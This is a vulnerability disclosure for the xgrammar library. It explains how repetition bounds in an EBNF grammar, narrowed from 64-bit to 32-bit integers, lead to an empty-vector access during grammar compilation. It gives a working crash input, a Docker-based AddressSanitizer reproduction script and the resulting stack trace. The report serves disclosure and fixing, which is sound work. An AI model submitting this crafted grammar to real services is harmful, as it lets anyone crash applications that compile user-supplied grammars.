Out-of-Bounds Access Through Narrowed Repetition Bounds

Affected repository: mlc-ai/xgrammar
Observed HEAD: f07ca3cb03affaca98809c4e9dad41deed2f7730

Summary

XGrammar's EBNF frontend parses repetition bounds as signed 64-bit integers but stores every kRepeat expression in three signed 32-bit words. The assessed revision (f07ca3c, after v0.2.5) narrows the parsed values without first checking that they fit. A caller that can submit an EBNF grammar can therefore make a constant-size grammar violate the repetition expander's lower >= 0 and upper == -1 || upper >= lower invariants. Compiling root ::= "x"{4294967295,8589934590} on the tested amd64/GCC build reaches std::vector::back() on an empty vector and terminates the process under AddressSanitizer.

The demonstrated impact is process-level denial of service during grammar compilation. The PoC does not establish a controlled out-of-bounds read, data disclosure, or code execution. An attacker must be able to supply or influence an EBNF grammar that the application passes to Grammar.from_ebnf and then compiles; supplying ordinary text to a trusted, already compiled grammar is not enough.

Detail

The root cause is a width mismatch across the EBNF parser, grammar builder, packed grammar-expression storage, and repetition expander. The parser validates one representation, but the downstream code consumes a different representation without revalidating it.

1. EBNFLexer::Impl::ParseIntegerToken in cpp/grammar_parser.cc accumulates numeric tokens in int64_t and permits values up to 1000000000000000. Both PoC bounds are therefore accepted by the lexer without integer overflow.

2. EBNFParser::ParseRepetitionRange also uses int64_t. It rejects a negative lower bound and, for a bounded range, checks upper < lower. For the PoC, 4294967295 <= 8589934590, so the range is valid at this stage. An omitted upper bound, and the printer-compatible spelling -1, use the internal value -1 to mean unbounded.

int64_t lower = ParseInteger();
if (lower < 0) {
  ReportParseError("Lower bound cannot be negative", -1);
}
// ...
int64_t upper = ParseInteger();
if (upper < lower) {
  ReportParseError(/* ... */);
}

1. EBNFParser::ParseElementWithQuantifier then converts both validated int64_t values independently to int32_t. The project is compiled as C++17, where converting an out-of-range integer to a signed destination type is implementation-defined. On the tested GCC builds, the low 32 bits are retained: 4294967295 becomes -1, while 8589934590 becomes -2. The relationship checked by the parser is consequently reversed after the check.

return builder_.AddRepeatFromExpr(
    cur_rule_name_,
    grammar_expr_id,
    static_cast<int32_t>(lower),
    upper == -1 ? -1 : static_cast<int32_t>(upper)
);

The upper == -1 condition only protects the parser-generated unbounded sentinel before conversion. It does not prevent a positive user value such as 4294967295 from becoming the same -1 bit pattern after conversion. This also causes non-crashing semantic corruption: for example, {0,4294967295} becomes internally unbounded, and {4294967296} becomes an exact zero repetition on the tested implementation.

1. GrammarBuilder::AddRepeat stores [rule_id, min_repeat_count, max_repeat_count] directly in the grammar expression's std::vector<int32_t> backing storage. Neither AddRepeatFromExpr nor AddRepeat checks non-negativity, ordering, or the special meaning of -1. RepetitionRangeExpanderImpl::VisitRepeat later reads those two signed 32-bit words and widens them back to int64_t; widening preserves the corrupted values lower = -1 and upper = -2.

int32_t GrammarBuilder::AddRepeat(
    int32_t ref_rule_id, int32_t min_repeat_count, int32_t max_repeat_count
) {
  std::vector<int32_t> data({ref_rule_id, min_repeat_count, max_repeat_count});
  return AddGrammarExpr({GrammarExprType::kRepeat, data.data(), /* ... */});
}

1. RepetitionRangeExpanderImpl::ExpandRepetitionRange documents its required invariants with XGRAMMAR_DCHECK(lower >= 0) and XGRAMMAR_DCHECK(upper == -1 || upper >= lower). The normal build used by the PoC does not enable internal checks, so these are not input validation. Because upper is -2, the upper != -1 && upper <= 128 branch treats the corrupted range as a small bounded range and calls LegacyHandleRepetitionRange.

2. In LegacyHandleRepetitionRange, the negative lower adds no mandatory elements. The difference upper - lower is -1, so neither loop adds an optional-rest rule. rest_rule_ids remains empty, yet the function unconditionally evaluates rest_rule_ids.back() and uses the result as a rule ID. Calling back() on an empty vector is undefined behaviour and is the final out-of-bounds access reported by AddressSanitizer.

std::vector<int32_t> rest_rule_ids;
for (int64_t i = 0; i < upper - lower; ++i) {
  rest_rule_ids.push_back(builder_->AddEmptyRule(/* ... */));
}
// ...
builder_->UpdateRuleBody(rest_rule_ids.back(), last_grammar_expr_id);

The failure occurs during GrammarCompiler's optimization pipeline, when RepetitionRangeExpander::Apply visits the malformed kRepeat. No generated token input, allocator grooming, or race is required. Enabling internal checks may stop on the violated invariant earlier, but that remains an attacker-triggered process termination rather than safe rejection.

Reproduce

Fresh validation at current default-branch commit f07ca3cb03affaca98809c4e9dad41deed2f7730 reached the reported sink under AddressSanitizer.

The following command pins the assessed revision instead of cloning a moving branch. It builds XGrammar with AddressSanitizer in a disposable container and runs the public Python entry points used by the report. The final Python process is expected to abort; do not run it in a production environment.

docker run --rm -i python:3.12-slim-bookworm bash <<'DOCKER'
set -eux
export DEBIAN_FRONTEND=noninteractive CMAKE_BUILD_PARALLEL_LEVEL=2
apt-get update -qq
apt-get install -y -qq --no-install-recommends ca-certificates git cmake ninja-build g++
python -m pip install -q --index-url https://download.pytorch.org/whl/cpu torch
python -m pip install -q scikit-build-core apache-tvm-ffi pydantic transformers numpy typing-extensions

git clone --depth 1 --quiet https://github.com/mlc-ai/xgrammar.git xgrammar
cd xgrammar
git rev-parse HEAD
git submodule update -q --init --recursive --depth 1
ASAN_OPTIONS=verify_asan_link_order=0:detect_leaks=0 \
CXXFLAGS='-D_GLIBCXX_NO_ASSERTIONS -fno-lto -fsanitize=address -fno-omit-frame-pointer -g' \
LDFLAGS='-fno-lto -fsanitize=address' \
  python -m pip install -q --config-settings=cmake.build-type=Debug \
    --no-build-isolation --no-deps .

cat > /tmp/repro.py <<'PY'
import xgrammar as xgr

tokenizer = xgr.TokenizerInfo(["x", "<eos>"], stop_token_ids=[1])
grammar = xgr.Grammar.from_ebnf('root ::= "x"{4294967295,8589934590}')
xgr.GrammarCompiler(
    tokenizer, max_threads=1, cache_enabled=False
).compile_grammar(grammar)
PY

asan_path="$(g++ -print-file-name=libasan.so)"
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:handle_segv=2:use_sigaltstack=0:disable_coredump=1 \
LD_PRELOAD="$asan_path" \
python /tmp/repro.py
DOCKER

I observed the following decisive frames. The disposable container's source prefix is omitted here so the report remains portable.

AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV ...
    #0 ... RepetitionRangeExpanderImpl::LegacyHandleRepetitionRange(...) cpp/grammar_functor.cc:2109
    #1 ... RepetitionRangeExpanderImpl::ExpandRepetitionRange(...) cpp/grammar_functor.cc:2168
    #2 ... RepetitionRangeExpanderImpl::HandleRepetitionRange(...) cpp/grammar_functor.cc:2153
    #3 ... RepetitionRangeExpanderImpl::VisitRepeat(...) cpp/grammar_functor.cc:1994
    #13 ... RepetitionRangeExpander::Apply(...) cpp/grammar_functor.cc:3819
SUMMARY: AddressSanitizer: SEGV cpp/grammar_functor.cc:2109

Credit

Zheng Yu @ Depthfirst